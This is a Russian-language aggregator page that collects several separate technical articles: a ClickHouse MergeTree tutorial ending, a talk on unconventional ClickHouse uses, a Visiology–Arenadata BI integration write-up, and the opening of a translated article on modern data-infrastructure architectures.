--остановим процесс слияния и вставим строкsystem stop merges clicks;insert into clicks(date, user_id, banner_id) select now() , number * 132 + 157, randomPrintableASCII(5)from system.numbers limit 50;Ok.--появился 1 парт+--------------+------+|name          |active|+--------------+------+|20210116_1_1_0|1     |+--------------+------+--вставим ещё строкinsert into clicks(date, user_id, banner_id)  select now() , number * 132 + 157, randomPrintableASCII(5) from system.numbers limit 50;--уже 2 парта+--------------+------+|name          |active|+--------------+------+|20210116_1_1_0|1     ||20210116_2_2_0|1     |+--------------+------+--возобновим процесс слиянияsystem start merges clicks;-- и попросим ClickHouse запустить слияниеoptimize table clicks final;--через некоторое время видим, что два парта слились в один 20210116_1_2_1, у которого увеличился уровень. --Неактивные парты будут удалены со временем.+--------------+------+----+|name          |active|rows|+--------------+------+----+|20210116_1_1_0|0     |50  ||20210116_1_2_1|1     |100 ||20210116_2_2_0|0     |50  |+--------------+------+----+

Выводы


Яосветил базовые конструкции, как видим, никакой магии нет. Идея MergeTree стара ипроста как сам LSM. Всем рекомендую пользоваться!

Подробнее..

Как использовать ClickHouse не по его прямому назначению

09.04.2021 12:18:12 | Автор: admin

Алексей Миловидов делает ClickHouse и, конечно, знает его вдоль и поперек. В том числе и о том, как его можно использовать дополнительно к его штатным и всем хорошо известным функциям.

И сегодня расскажет про эти необычные способы его использования и, может быть, даже не для хранения и обработки данных.

ClickHouse для тестов железа

Самое простое, что можно сделать с ClickHouse, если есть свободные серверы это использовать его для тестов оборудования. Потому что его тестовый dataset содержит те же данные с production Яндекса, только анонимизированные и они доступны снаружи для тестирования. Про то, как подготовить хорошие анонимизированные данные, я рассказывал на Saint HighLoad++ 2019 в Санкт-Петербурге.

Ставим ClickHouse на любой Linux (x86_64, AArch64) или Mac OS. Как это сделать? мы собираем его на каждый коммит и pull request. ClickHouse Build Check покажет нам все детали всех возможных билдов:

Отсюда можно скачать любой бинарник с gcc и clang в релизе, в debug, со всякими санитайзерами или без, для x86, ARM или даже Mac OS. ClickHouse использует все ресурсы железа: все ядра CPU, шины памяти и грузит все диски. Какой сервер ему не дай проверит полностью, хорошо или плохо тот работает.

По этой инструкции можно скачать бинарник, тестовые данные и запустить запросы. Тест займёт около 30 минут и не требует установки ClickHouse. И даже если на сервере уже установлен другой ClickHouse, вы все равно сможете запустить тест.

В результате мы получаем публичный список протестированного железа:

Все результаты мы получаем от пользователей через краудсорсинг и выглядят они примерно так:

Вы можете выбрать серверы для сравнения для каждого можно посмотреть разницу в производительности. Конечно, и других тестов железа существует немало, например, SPECint и вообще куча тестов из организации SPEC. Но ClickHouse позволяет не просто тестировать железо, а тестировать рабочую СУБД на настоящих данных на реальных серверах откуда угодно.

ClickHouse без сервера

Конечно, обычно ClickHouse это сервер + клиент. Но иногда нужно просто обработать какие-то текстовые данные. Для примера я взял все исходники ClickHouse, собрал их в файл и сконкатенировал в файл под названием code.txt:

И, например, я хочу проверить, какие строчки в коде на C++ самые популярные. С помощью типичной shell-команды удалим из каждой строчки кода начальные пробелы и пустые строки, отсортируем и посчитаем количество уникальных. После сортировки видим, что, конечно, самая популярная строчка это открывающая фигурная скобка, за ней закрывающая фигурная скобка, а еще очень популярно return false.

Этот результат я получил за 1,665 секунд. Потому что все это было сделано с учетом сложной локали. Если локаль заменить на простую, выставив переменную окружения LC_ALL=C, то будет всего лишь 0,376 с, то есть в 5 раз быстрее. Но это всего-лишь шел скрипт.

Можно ли быстрее? Да, если использовать clickhouse-local, будет еще лучше.

Это как-будто одновременно и сервер и клиент, но на самом деле ни то, и ни другое clickhouse-local может выполнять SQL запросы по локальным файлам. Вам достаточно указать запрос, структуру и формат данных (можно выбрать любой из форматов, по умолчанию TabSeparated), чтобы обработать запрос на входном файле. За 0.103 секунд то есть в 3,716 раз быстрее (в зависимости от того, как вы запускали предыдущую команду).

Для демонстрации чего-то более серьезного давайте посмотрим на те данные, которые собирает GitHub Archive это логи всех действий всех пользователей, которые происходили на GitHub, то есть коммиты, создание и закрытие issue, комментарии, код-ревью. Все это сохраняется и доступно для скачивания на сайте https://www.gharchive.org/ (всего около 890 Гб):

Чтобы их как-нибудь обработать, выполним запрос с помощью ClickHouse local:

Я выбрал все данные из табличной функции file, которая берет файлы вида *.json.gz то есть все файлы в формате TSV, интерпретируя их как одно поля типа string. С помощью функции для обработки JSON я вытащил из каждой JSONины сначала поле 'actor', а потом поле 'login' в случае, когда оно равно Алексей Миловидов и выбрал таких первых 10 действий на GitHub.

Может возникнуть впечатление, что 890 Гб данных смогли обработаться за 1,3 секунды. Но на самом деле запрос работает потоково. После того, как находятся первые 10 строк, процесс останавливается. Теперь попробуем выполнить более сложный запрос, например, я хочу посчитать, сколько всего действий я совершил на GitHub. Используем SELECT COUNT... и через полторы секунды кажется, что ничего не происходит. Но что происходит на самом деле, мы можем посмотреть в соседнем терминале с помощью программы dstat:

И мы видим, что данные читаются с дисков со скоростью примерно 530 Мб/с и все файлы обрабатываются параллельно почти с максимальной скоростью насколько позволяет железо (на сервере RAID из нескольких HDD).

Но можно использовать ClickHouse local даже без скачивания этих 980 Гб. В ClickHouse есть табличная функция url то есть можно вместо file написать адрес https://.../*.json.gz, и это тоже будет обрабатываться.

Чтобы можно было выполнять такие запросы в ClickHouse, мы реализовали несколько вещей:

  1. Табличная функция file.

  2. Поддержка glob patterns. В качестве имени файлов можно использовать шаблон с glob patterns (звёздочка, фигурные скобки и пр.)

  3. Поддержка сжатых файлов в формате gzip, xz и zstd из коробки. Указываем gz и всё работает.

  4. Функции для работы с JSON. Могу утверждать, что это самые эффективные функции для обработки JSON, которые мы смогли найти. Если вы найдёте что-нибудь лучше, скажите мне.

  5. Параллельная обработка файлов. Там несколько тысяч файлов, и будут использоваться все процессорные ядра. И даже один файл будет обрабатываться параллельно, потому что у нас есть параллельный парсинг форматов данных.

  6. Тот самый параллельный парсинг.

Применять можно, само собой, для обработки текстовых файлов. Еще для подготовки временной таблицы и партиций для MergeTree. Можно провести препроцессинг данных перед вставкой: читаете в одной структуре, преобразовываете с помощью SELECT и отдаете дальше в clickhouse-client. Для преобразования форматов тоже можно например, преобразовать данные в формате protobuf с разделителями в виде длины в JSON на каждой строке:

clickhouse-local --input-format Protobuf --format-schema такая-то --output format JSONEachRow ...

Serverless ClickHouse

ClickHouse может работать в serverless-окружении. Есть пример, когда ClickHouse засунули в Лямбда-функцию в Google Cloud Run: https://mybranch.dev/posts/clickhouse-on-cloud-run/ (Alex Reid). Там на каждый запрос запускается маленький ClickHouse на фиксированных данных и эти данные обрабатывает.

Текстовые форматы

Для обработки текстовых данных, естественно, есть поддержка форматов tab separated (TSV) и comma separated (CSV). Но еще есть формат CustomSeparated, с помощью которого можно изобразить и тот, и другой в качестве частных случаев.

CustomSeparated:

format_custom_escaping_rule

format_custom_field_delimiter

format_custom_row_before/between/after_delimiter

format_custom_result_before/after_delimiter

Есть куча настроек, которые его кастомизируют. Первая настройка это правило экранирования. Например, вы можете сделать формат CSV, но в котором строки экранированы как в JSON, а не как CSV. Разница тонкая, но довольно важная. Можно указать произвольный разделитель типа | и пр. между значениями, между строками и т.п.

Более мощный формат это формат Template:

format_template_resultset

format_template_row

format_template_rows_between_delimiter

С его помощью можно указать произвольный шаблон, где в строке есть подстановки, и в этих подстановках тоже указывается, какой столбец в каком формате отформатирован. Можно даже парсить XML, если очень надо.

Есть формат Regexp:

format_regexp

format_regexp_escaping_rule

format_regexp_skip_unmatched

И тут clickhouse-local превращается в настоящий awk. Указываете регулярные выражения, в Regexp есть subpatterns, и каждый subpattern теперь парсится как столбец. Его содержимое обрабатывается согласно некоторому правилу экранирования. И конечно можно написать пропускать строки, для которых регулярное выражение сработало, или нет.

ClickHouse для полуструктурированных данных

Первая идея в этом случае не использовать ClickHouse. Берите Mongo, которая отлично подходит именно для этого. Но если вдруг вы так любите ClickHouse, что просто не можете им не пользоваться можно и с его помощью.

Допустим, у вас есть таблица с логами, в ней есть столбец с датой и временем, а вот всё остальное вообще непонятно что. Очень соблазнительно всю эту кучу данных записать в один столбец 'message' с типом String. Если эта куча в формате JSON, функции для работы с JSON будут работать. Но неэффективно каждый раз, когда нам будет нужно только одно поле, например 'actor.login', читать придется весь JSON не будет преимущества столбцовой базы данных. С помощью ClickHouse мы легко это исправим прямо на лету, добавив с помощью запроса ALTER материализованный столбец:

После того, как материализованный столбец actor_login начнет записываться для новых данных в таблице, SELECT для новых данных будет читаться эффективно, а для старых будет вычисляться. Для материализации старых данных можно использовать несколько странный запрос для материализации всех данных в прошлом:

ALTER TABLE logs UPDATE actor_login = actor_login

И вы можете добавлять столбцы по мере необходимости, чтобы ускорить запросы.

Ускорение MySQL

В ClickHouse можно создать таблицу на основе табличной функции MySQL. Это просто: указываете хост: порт, БД, таблицу, имя пользователя и пароль (прямо так, как есть), делаем SELECT и всё выполняется за 15 секунд:

Работает это тоже без всякой магии: табличная функция MySQL переписывает запрос, отправляет его в MySQL и читает все данные назад, на лету на всё 15 секунд. Но что будет, если я тот же самый запрос выполню в MySQL как есть?

5 минут 41 секунда это позор! У ClickHouse тут как-будто нет преимуществ данные нужно переслать из MySQL в ClickHouse и потом уже обработать. А MySQL обрабатывает сам у себя локально почему же он так медленно работает?

Еще одна проблема результаты расходятся. У ClickHouse две строки счетчик (20577 и 13772), у MySQL один (44744), потому что он здесь учитывает collation (правила сравнения строк в разном регистре) при GROUP BY. Чтобы это исправить, можно перевести имя в нижний регистр, сгруппировать по нему и выбрать любой вариант:

Теперь счетчик один, данные почти совпадают и запрос даже ускорился. То есть ClickHouse быстрый независимо от того, какие выражения я напишу. Попробуем ускорить запрос еще больше. На основе данных из MySQL в ClickHouse можно создать словарь. Указываем в словаре ключ и источник MySQL со всеми этими данными:

Словарь будет периодически загружать таблицу в оперативку, она будет кэшироваться. Можно применять SELECT:

Получилось уже 6 секунд, хотя основное предназначение словаря использование для джойнов, когда, например, нам нужно получить данные динамически через другие столбцы. Можно также создать словари MySQL на каждом сервере в кластере ClickHouse и быстро с ними работать. Но если MySQL не выдержит нагрузки при обновлении словаря на каждом сервере в кластере, то можно создать из MySQL словарь на двух ClickHouse-серверах, и они будут доступны в виде таблиц в ClickHouse. Если с помощью движка Distributed создать таблицу, которая смотрит на эти два сервера как на реплики, то можно на всех ClickHouse-серверах создать словари из ClickHouse, которые смотрят на таблицу, которая смотрит на словарь MySQL.

Словари еще можно использовать для шардирования, если схема расположена во внешней мета-базе (и не обязательно в ClickHouse). Это тоже будет работать:

Есть вариант как радикально ускорить запрос, и для этого не нужны словари надо всего лишь переложить данные в полноценную таблицу типа MergeTree такой же структуры. Вставляем туда данные и делаем SELECT:

Видим, что SELECT выполняется за 0,6 с. Вот это настоящая скорость, какая должна быть это скорость ClickHouse!

В ClickHouse можно даже создать базу данных типа MySQL. Движок БД MySQL создает в ClickHouse базу данных, которая содержит таблицы, каждая из которых представляет таблицу, расположенную в MySQL. И все таблицы будут видны прямо в ClickHouse:

А вообще в ClickHouse много табличных функций. Например, с помощью табличной функции odbc можно обратиться к PostgreSQL, а с помощью url к любым данным на REST-сервере. И все это можно поджойнить:

Примечение: в свежих релизах ClickHouse появилась табличная функция postgresql, движок баз данных PostgreSQL и даже поддержка бинарного протокола PostgreSQL. Кажется это даже слишком круто.

Машинное обучение в ClickHouse

В ClickHouse можно использовать машинное обучение с помощью подключения готовых моделей CatBoost. После объявления модели в конфигурационном файле, она доступна для применения в виде функции modelEvaluate.

Это можно использовать для заполнения пропусков в данных. Пример: компания, занимающаяся недвижимостью, публикует объявления о квартирах с разными параметрами: количество комнат, цена, метраж. Часто некоторые параметры не заполнены например, квадратные метры есть, а количества комнат нет. В этом случае мы можем использовать ClickHouse с моделью CatBoost, чтобы заполнить пропуски в данных.

Более простые модели можно обучать прямо в ClickHouse. Модель машинного обучения у нас будет представлена как агрегатная функция например, стохастическая логистическая регрессия. Задаются гиперпараметры, значение предсказываемой функции и значения фич, причем обучение будет независимым для каждого ключа агрегации, если в запросе указан GROUP BY:

А еще мы можем добавить к агрегатной функции суффикс State:

SELECT stochasticLogisticRegressionState(...

Так можно обучить логистическую регрессию для каждого k и получить состояние агрегатной функции. Состояние имеет полноценный тип данных AggregateFunction(stochasticLogisticRegression(01, 00, 10, 'Adam'), ...), который можно сохранить в таблицу. Достать его из таблицы и применить обученную модель можно функцией applyMLModel:

Но и это еще не все. Мы можем обучить тысячи маленьких простых моделей, записать их в таблицу и сделать джойн из этой таблицы, чтобы применять свою модель для каждого ключа:

Более развернуто описано в этой презентации.

ClickHouse как графовая база данных

Конечно, ClickHouse это не графовая БД и никогда даже не планировался для этого, но тем не менее. Представьте, что таблицы представляют собой ребра графа. С помощью табличной функции можно записывать алгоритмы на графах, например, реализовать алгоритм pagerank:

Это работает, и говорят, даже быстрее, чем некоторые другие графовые базы данных. Разработал его наш друг, один из ведущих контрибьюторов Amos Bird. Правда, эта разработка не доступна в open-source. Но мы не обижаемся.

UDF в ClickHouse

Казалось бы, в ClickHouse нет возможности написать пользовательские функции (user defined functions). Но на самом деле есть. Например, у вас есть cache-словарь с источником executable, который для загрузки выполняет произвольную программу или скрипт на сервере. И в эту программу в stdin передаются ключи, а из stdout в том же порядке мы будем считывать значения для словаря. Словарь может иметь кэширующий способ размещения в памяти, когда уже вычисленные значения будут кэшированы.

И если вы пишете произвольный скрипт на Python, который вычисляет, что угодно пусть те же модели машинного обучения, и подключаете его в ClickHouse, то получаете вы как раз аналог user defined function.

Примечание: полноценная реализация UDF находится в roadmap на 2021 год.

ClickHouse на GPU и как Application Server

Это ещё два необычных примера. В компании nVidia ClickHouse заставили работать на графических ускорителях, но рассказывать я про это не буду.

А наш друг Zhang2014 превратил ClickHouse почти в Application Server. У Zhang2014 есть pull request, где можно определить свои HTTP-хэндлеры и этим хэндлерам приписать подготовленный запрос (SELECT с подстановками или INSERT). Вы делаете POST на какой-то хэндлер для вставки данных, или делаете вызов какой-то GET ручки, передаете параметры, и готовый SELECT выполнится.

Вывод

ClickHouse очень интересная система, в которой всегда можно найти что-то новое, причем, что интересно, что-то новое там всегда могу найти даже я. Многие разработчики удивляют меня тем, что они могут реализовывать внутри ClickHouse всего лишь чуть-чуть поменяв его код. И эти штуки будут работать и в production!

Подробнее..

Business Intelligence на больших данных наш опыт интеграции

20.01.2021 14:20:49 | Автор: admin

В вопросах производительности BI обычно приходится искать компромисс между скоростью работы аналитики и объемами данных, над которыми она реализована. Мы попробовали убить двух зайцев сразу, и сегодня я хочу поделиться нашим опытом интеграции Visiology с платформой Arenadata при построении гибридной модели работы BI.

Если вы читаете наш блог, то уже знаете о платформе Visiology хотя бы в общих чертах (если нет, это можно легко исправить, прочитав наш первый пост). Но сегодня речь пойдет не только о платформе Visiology и BI как таковых, но также о наших новых друзьях Arenadata. А точнее, об интеграции, которая позволила реализовать гибридную работу аналитики с большой скоростью и на больших объемах данных.

Зачем потребовалась интеграция Arenadata и Visiology?

Подходов к работе BI-систем на сегодняшний день несколько. Но когда речь идет о больших данных для самых разных задач, обычно используется ROLAP. Работает он достаточно просто: когда пользователь нажимает что-то на дашборде, например, выбирает какой-то фильтр, внутри платформы формируется SQL-запрос, который уходит на тот или иной бэкэнд. В принципе, под системой BI может лежать любая СУБД, которая поддерживает запросы от Postgres до Teradata. Подробнее о схемах работы OLAP я рассказывал здесь.

Преимущество интеграции BI с СУБД заключается в том, что для работы системы, по сути, нет ограничения по объему данных. Но при этом падает скорость выполнения запросов - конечно, если не использовать специализированную колоночную СУБД, например, ClickHouse или Vertica. И, хотя у ClickHouse спектр возможностей пока еще уже, чем у той же Vertica, система развивается и выглядит очень многообещающей.

Но даже с колоночной СУБД есть свои минусы при работе с BI, и самый первый из них это более низкая эффективность использования кэша на уровне платформы в целом, потому что СУБД, в отличие от самой BI-платформы, "не знает" многого о поведении пользователей и не может использовать эту информацию для оптимизации. Когда большое количество пользователей начинают работать, по-разному делать запросы и обращаться к дашбордам, требования к железу, на котором крутится СУБД даже хорошая, аналитическая и колоночная могут оказаться очень серьезными.

Второй момент это ограничение аналитической функциональности: все, что не укладывается в SQL-запрос, поддерживаемый распределенной СУБД, отсекается автоматически (например, в случае ClickHouse - это оконные функции). И это проблема, потому что в BI есть много вещей, которые с трудом транслируются в SQL-запросы или выполняются неоптимально.

Второй вариант это In-memory OLAP. Он подразумевает перенос всех обрабатываемых данных в специальный движок, который молниеносно прорабатывает базу в 200-300 Гб это порядок единицы миллиардов записей. Кстати, подробнее про ограничения In-Memory OLAP я уже рассказывал здесь. На практике встречаются инсталляции In-Memory OLAP, укомплектованные 1-2-3 терабайтами оперативной памяти, но это скорее экзотика, причем дорогостоящая.

Практика показывает, что далеко не всегда можно обойтись тем или иным подходом. Когда требуются одновременно гибкость, возможность работы с большим объемом данных и поддержка значительного количества пользователей, возникает потребность в гибридной системе, которая с одной стороны загружает данные в движок In-Memory OLAP, а с другой постоянно подтягивает нужные записи из СУБД. В этом случае движок OLAP используется для доступа ко всему массиву данных, без всяких задержек. И в отличие от чистого In-Memory OLAP, который нужно периодически перезагружать, в гибридной модели мы всегда получаем актуальные данные.

Такое разделение данных на горячие и холодные объединяет плюсы обоих подходов ROLAP и In-Memory, но усложняет проект внедрения BI. Например, разделение данных происходит вручную, на уровне ETL процедур. Поэтому для эффективной работы всего комплекса очень важна совместимость между бэкэндом и самой BI-системой. При том, что SQL-запросы остаются стандартными, в реальности всегда есть аспекты их выполнения, нюансы производительности.

Arenadata и Arenadata QuickMarts

Платформа данных Arenadata состоит из нескольких компонентов, построенных на базе открытых технологий, и используется многими российскими и зарубежными компаниями. В состав решения входит собственное MPP решение на базе Greenplum, дистрибутив Hadoop для хранения и обработки неструктурированных и слабоструктурированных данных, система централизованного управления ADCM (Сluster Management) на базе Ansible и другие полезные компоненты, в том числе Arenadata QuickMarts (ADQM).

СУБД ADQM это колоночная СУБД от Arenadata, построенная на базе ClickHouse, аналитической СУБД, которую развивает Яндекс. Изначально ClickHouse создавалась для внутреннего проекта Яндекс.Метрика, но эта СУБД очень понравилась сообществу. В результате исходный код ClickHouse был переведен в OpenSource (лицензия Apache-2) и стал популярен по всему миру. На сегодняшний день насчитывается порядка 1000 инсталляций ClickHouse по всему миру, и только 1/3 из них в России. И хотя Яндекс остается основным контрибьютором развития СУБД, лицензия Apache-2 позволяет абсолютно свободно использовать продукт и вносить изменения в проект.

Современная колоночная СУБД использует аппаратную оптимизацию CPU (SSE). ClickHouse может очень быстро выполнять запросы за счет векторных оптимизаций и утилизации всего ресурса многоядерных CPU. На базе ClickHouse работают огромные кластера сам Яндекс растягивает эту СУБД на несколько сотен серверов. Это гарантирует, что вместе с этим решением вы можете масштабироваться в достаточно больших объемах.

Но главная фича ClickHouse в нашем контексте это эффективная работа с достаточно специфическими аналитическими запросами. Если витрины уже отстроены и вам нужно предоставить доступ пользователей к BI с минимальной латентностью, эта история как раз для ClickHouse. Эта СУБД прекрасно справляется с запросами без джойнов и соединений.

Во многих сравнениях ClickHouse дает серьезную фору даже классическим СУБД, например, той же Oracle Exadata. Результаты этих тестов можно найти на ресурсах Яндекса.

Производительность QuickMarts

  • Типичные запросы быстрей чем за секунду

  • > 100 раз быстрей чем Hadoop и обычные СУБД

  • 100 млн - 1 миллиард строк в секунду на одной ноде

  • До 2 терабайт в секунду для кластера на 400 нод

Но вернемся к Arenadata QuickMarts. Это сборка ClickHouse, которая немного отличается от сборки Яндекса. Наши коллеги из Arenadata даже позже выпускают релизы, потому что проводят больше тестов, чтобы серьезные задачи в продакшене работали только на стабильных версиях.

При этом установка и настройка ADQM происходит из Arenadata Cluster Manager. Кастомизированная СУБД обладает расширенными механизмами авторизации пользователей, a также средствами мониторинга на базе Graphite и Grafana. Но самое главное, что QuickMarts изначально располагает готовыми коннекторами и прозрачно взаимодействует с другими компонентами платформы, в т.ч. с ADB (Greenplum), что позволяет по мере необходимости подгружать данные из ADB в ADQM.

В нашем случае QuickMarts используется для работы с витринами, к которым через BI обращаются сотни или тысячи пользователей. Архитектура системы позволяет выдать им данные здесь и сейчас, а не ждать 20-30 секунд, когда обработается их запрос по витринам в более медленной СУБД.

Как работает интеграция Arenadata и Visiology

Когда Visiology используется вместе с Arenadata, схема работы системы выглядит следующим образом. Основное хранилище данных может быть реализовано на базе ADB (GreenPlum), из которой создаются витрины данных, хранящиеся уже в ADQM. За счет интеграции между компонентами решения система работает как единое целое, а необходимые для запросов данные поднимаются на нужный уровень автоматически.

Фактически в аналитической системе создается только один дашборд, а графику обрабатывает движок In-Memory ViQube ядро платформы Visiology. Пользователь лишь выбирает те или иные фильтры, а задача по выгрузке самих транзакций выполняется уже на бэкенде ресурсами QuickMarts.

Раньше подобная интеграция была только с Vertica, но сейчас мы совместно с коллегами сделали интеграцию для Arenadata QuickMarts. Это радостная новость для сторонников ClickHouse, потому что BI работает с популярной СУБД по гибридной схеме. При этом Arenadata DB, выполняющая функцию корпоративного хранилища данных, обеспечивает необходимую трансформацию данных для дальнейшей работы QuickMarts и Visiology.

Все запросы BI обрабатываются движком ViQube. Если пользователь обращается к тем данным, которых нет в памяти, система автоматически генерирует SQL-запрос, который выполняется на Arenadata QuickMarts.

Чтобы все это заработало, мы реализовали поддержку диалекта ClickHouse для основных аналитических функций и добавили автоматическое переключение между режимами работы OLAP в зависимости от того, где находятся данные на самом деле. Однако для пользователя все остается предельно прозрачным: он даже не знает, как работает система просто делает запросы в интерфейсе BI и получает результаты, причем достаточно быстро.

Конечно, у такой схемы есть и свои минусы. Например, учитывая ограничения SQL, не все аналитические функции будут доступны на полном объеме данных. Но зато появляется возможность отрабатывать огромное количество транзакций, для большого количества людей, которые в основном изучают тренды на готовых дашбордах, и лишь иногда ищут конкретные записи.

Развиваемся дальше

Сейчас интеграция находится на стадии версии v1.0, и мы планируем дальнейшие доработки. В частности, уже сейчас речь идет о том, чтобы расширить набор доступных аналитических возможностей, а также об интеграции в единую консоль управления (например, у Arenadata есть решение Cluster Manager (ADCM), которое позволяет управлять всеми компонентами ландшафта из единой консоли, рассматриваем это как один из вариантов).

Также на повестке дня остро стоит задача автоматизации настройки метаданных. Сейчас их нужно размечать в специальном интерфейсе - это довольно трудоемко. Хочется, чтобы система самостоятельно распознавала бы все необходимые параметры, получив путь к той или иной витрине.

В целом, мы остались очень довольны и сотрудничеством с Arenadata, и той интеграцией с ClickHouse и ADQM, которая получилась. Теперь в аналитической платформе Visiology можно одновременно работать с источниками данных любого масштаба - от Small Data (ручной ввод, Excel) до Big Data (миллиардов или даже сотни миллиардов транзакций из распределенных хранилищ данных). А гибридный режим работы, который мы реализовали вместе с Arenadata, еще и позволяет сделать это с разумными затратами на оборудование.

Будем признательны, если вы напишете в комментариях, с какими сценариями запуска BI на больших данных вы сталкивались. Ну а мы всегда готовы поделиться своим опытом в деталях!

Подробнее..

Перевод Перспективные архитектуры для современных инфраструктур данных

04.05.2021 18:23:50 | Автор: admin

На сегодняшний день базы данных класса Massive Parallel Processing это отраслевой стандарт для хранения Больших Данных и решения разнообразных аналитических задач на их основе.

Сценарии использования mpp-баз разнообразны: они могут быть и рабочей лошадкой корпоративного BI, и инструментом централизации данных из сотен источников в одном DWH, и даже использоваться для горячего взаимодействия с ML-моделями, работающими в продуктивном окружении.

Данный класс технологий необходимый элемент в инструментарии современного Data Engineer.

На демо-занятии мы подробно разберем, что же такое mpp-БД, какие решения есть сегодня на рынке и даже углубимся в практический пример использования одной их самых инновационных mpp-систем на сегодня: ClickHouse.

Приглашаем всех желающих присоединиться к участию в демо-уроке Введение в MPP-базы данных на примере ClickHouse.


Как IT-индустрия мы исключительно хорошо умеем создавать большие и сложные программные системы. Но сейчас мы начинаем наблюдать рост массивных и сложных систем, построенных вокруг данных, для которых основная ценность системы для бизнеса заключается в анализе этих данных, а не непосредственно в программном обеспечении. Мы видим стремительные изменения, спровоцированные этой тенденцией, во всей индустрии, что включает появление новых специальностей, сдвиги в пользовательской финансовой активности и появление новых стартапов, предоставляющих инфраструктуру и инструменты для работы с данными.

Многие из самых быстрорастущих инфраструктурных стартапов сегодня создают продукты для управления данными. Эти системы позволяют принимать решения на основе данных (аналитические системы) и управлять продуктами на основе данных, в том числе с помощью машинного обучения (оперативные системы). Они варьируются от конвейеров, по которым передаются данные, до решений для их хранения, SQL-движков, которые анализируют данные, дашбордов для мониторинга, которые упрощают понимание данных от библиотек машинного обучения и data science до автоматизированных конвейеров данных, каталогов данных и т.д.

И все же, несмотря на весь этот импульс и энергию, мы обнаружили, что все еще существует огромная неразбериха в отношении того, какие технологии являются ведущими в этой тенденции и как они используются на практике. За последние два года мы поговорили с сотнями основателей, лидеров в сфере корпоративных данных и других экспертов, в том числе опросили более 20 практикующих специалистов по их текущим стекам данных, в попытке систематизировать новые передовые практики и сформировать общий словарь по инфраструктуре данных. В этой статье мы расскажем о результатах этой работы и продемонстрируем вам технологи, продвигающие индустрию вперед.

Инфраструктура данных включает

Этот доклад содержит эталонные архитектуры инфраструктуры данных, составленные в результате обсуждений с десятками практиков. Огромное спасибо всем, кто участвовал в этом исследовании!

Стремительный рост рынка инфраструктуры данных

Одной из основных причин, из-за которых был составлен этот доклад, является стремительный рост инфраструктуры данных за последние несколько лет. По данным Gartner, расходы на инфраструктуру данных достигли в 2019 году рекордного показателя в 66 миллиардов долларов, что составляет 24% и эта цифра растет всех расходов на программное обеспечение для инфраструктуры. По данным Pitchbook, 30 крупнейших стартапов по созданию инфраструктуры данных за последние 5 лет привлекли более 8 миллиардов долларов венчурного капитала на общую сумму 35 миллиардов долларов.

Венчурный капитал, привлеченный наиболее показательными стартапами в области инфраструктуры данных в 2015-2020 гг.

Примечание: Любые инвестиции или портфельные компании, упомянутые или описанные в этой презентации, не являются репрезентативными для всего объема инвестиций во все инвестиционные каналы, управляемые a16z, и нет никаких гарантий, что эти инвестиции будут прибыльными или что другие инвестиции, сделанные в будущем, будут иметь аналогичные характеристики или результаты. Список инвестиций, сделанных фондами под управлением a16z, доступен здесь: https://a16z.com/investments/.

Гонка за данными также отражается на рынке труда. Аналитики данных, инженеры по обработке данных и инженеры по машинному обучению возглавили список самых быстрорастущих специальностей Linkedin в 2019 году. По данным NewVantage Partners 60% компаний из списка Fortune 1000 имеют директоров по обработке и анализу данных, по сравнению с 12% в 2012 году, и согласно исследованию роста и прибыльности McKinsey эти компании значительно опережают своих коллег.

Что наиболее важно, данные (и системы данных) напрямую влияют на бизнес-показатели не только в технологических компаниях Кремниевой долины, но и в традиционных отраслях.

Унифицированная архитектура инфраструктуры данных

Из-за энергии, ресурсов и роста рынка инфраструктуры данных решения и передовые методы для инфраструктуры данных также развиваются невероятно быстро. Настолько, что трудно получить целостное представление о том, как все части сочетаются друг с другом. И это именно то, на что мы намеревались пролить здесь свет.

Мы опросили практиков из ведущих организаций, работающих с данными: (а) как выглядели их внутренние технологические стеки, и (б) что бы они изменили, если бы им нужно было создавать новый с нуля.

Результатом этих обсуждений стала следующая диаграмма эталонной архитектуры:

Unified Architecture for Data Infrastructure

Унифицированная архитектура для инфраструктуры данных

Примечание: Исключает транзакционные системы (OLTP), обработку логов и SaaS-приложения для аналитики. Перейдите сюда, чтобы просмотреть версию в высоком разрешении.

Столбцы диаграммы определены следующим образом:

Эта архитектура включает очень большое количество элементов гораздо больше, чем вы можете найти в большинстве производственных систем. Это попытка сформировать целостную картину унифицированной архитектуры практически для всех вариантов использования. И хотя самые искушенные пользователи располагают чем-то похожим на это, большинство нет.

Остальная часть этой статьи посвящена разбору этой архитектуры и того, как она чаще всего реализуется на практике.

Аналитика, AI/ML и грядущая конвергенция?

Инфраструктура данных на высоком уровне служит двум целям: помочь бизнес-лидерам принимать более обоснованные решения с помощью данных (аналитические варианты использования) и встроить аналитику данных в клиентские приложения, в том числе с помощью машинного обучения (оперативные варианты использования).

Вокруг этих вариантов использования выросли две параллельные экосистемы. Основу аналитической экосистемы составляют хранилища данных (data warehouse). Большинство хранилищ данных хранят данные в структурированном формате и предназначены для быстрого и простого получения выводов на основе обработки основных бизнес-метрик, обычно с помощью SQL (хотя Python становится все более популярным). Озеро данных (data lake) является основой оперативной экосистемы. Сохраняя данные в необработанном виде, он обеспечивает гибкость, масштабируемость и производительность, необходимые для специализированных приложений и более сложных задач обработки данных. Озера данных работают на широком спектре языков, включая Java/Scala, Python, R и SQL.

У каждой из этих технологий есть свои ярые приверженцы, а выбор одной из них оказывает значительное влияние на остальную часть стека (подробнее об этом позже). Но что действительно интересно, так это то, что у современных хранилищ и озер данных становится все больше общих черт обе предлагают стандартные хранилища, собственное горизонтальное масштабирование, полуструктурированные типы данных, ACID-транзакции, интерактивные SQL запросы и т. д.

Важный вопрос на будущее: находятся ли хранилища и озера данных на пути к конвергенции? То есть станут ли они взаимозаменяемыми в стеке? Некоторые эксперты считают, что это все-таки происходит и способствует упрощению технологического и вендорного многообразия. Другие считают, что параллельность экосистем сохранится из-за различий в языках, сценариях использования или других факторов.

Архитектурные сдвиги

Инфраструктура данных подвержена широким архитектурным сдвигам, происходящим в индустрии программного обеспечения, включая переход к облаку, бизнес-моделям с открытым исходным кодом, SaaS и так далее. Однако помимо них существует ряд изменений, которые уникальны для инфраструктуры данных. Они продвигают архитектуру вперед и часто дестабилизируют рынки (например, ETL-инструменты) в процессе.

Новые возможности

Формируется набор новых возможностей обработки данных, которые нуждаются в новых наборах инструментов и базовых систем. Многие из этих трендов создают новые категории технологий (и рынки) с нуля.

Схемы построения современной инфраструктуры данных

Чтобы сделать архитектуру как можно более действенной, мы попросили экспертов систематизировать набор общих схем (blueprints) руководств по внедрению для организаций, работающих с данными, в зависимости от размера, сложности, целевых вариантов использования и применения.

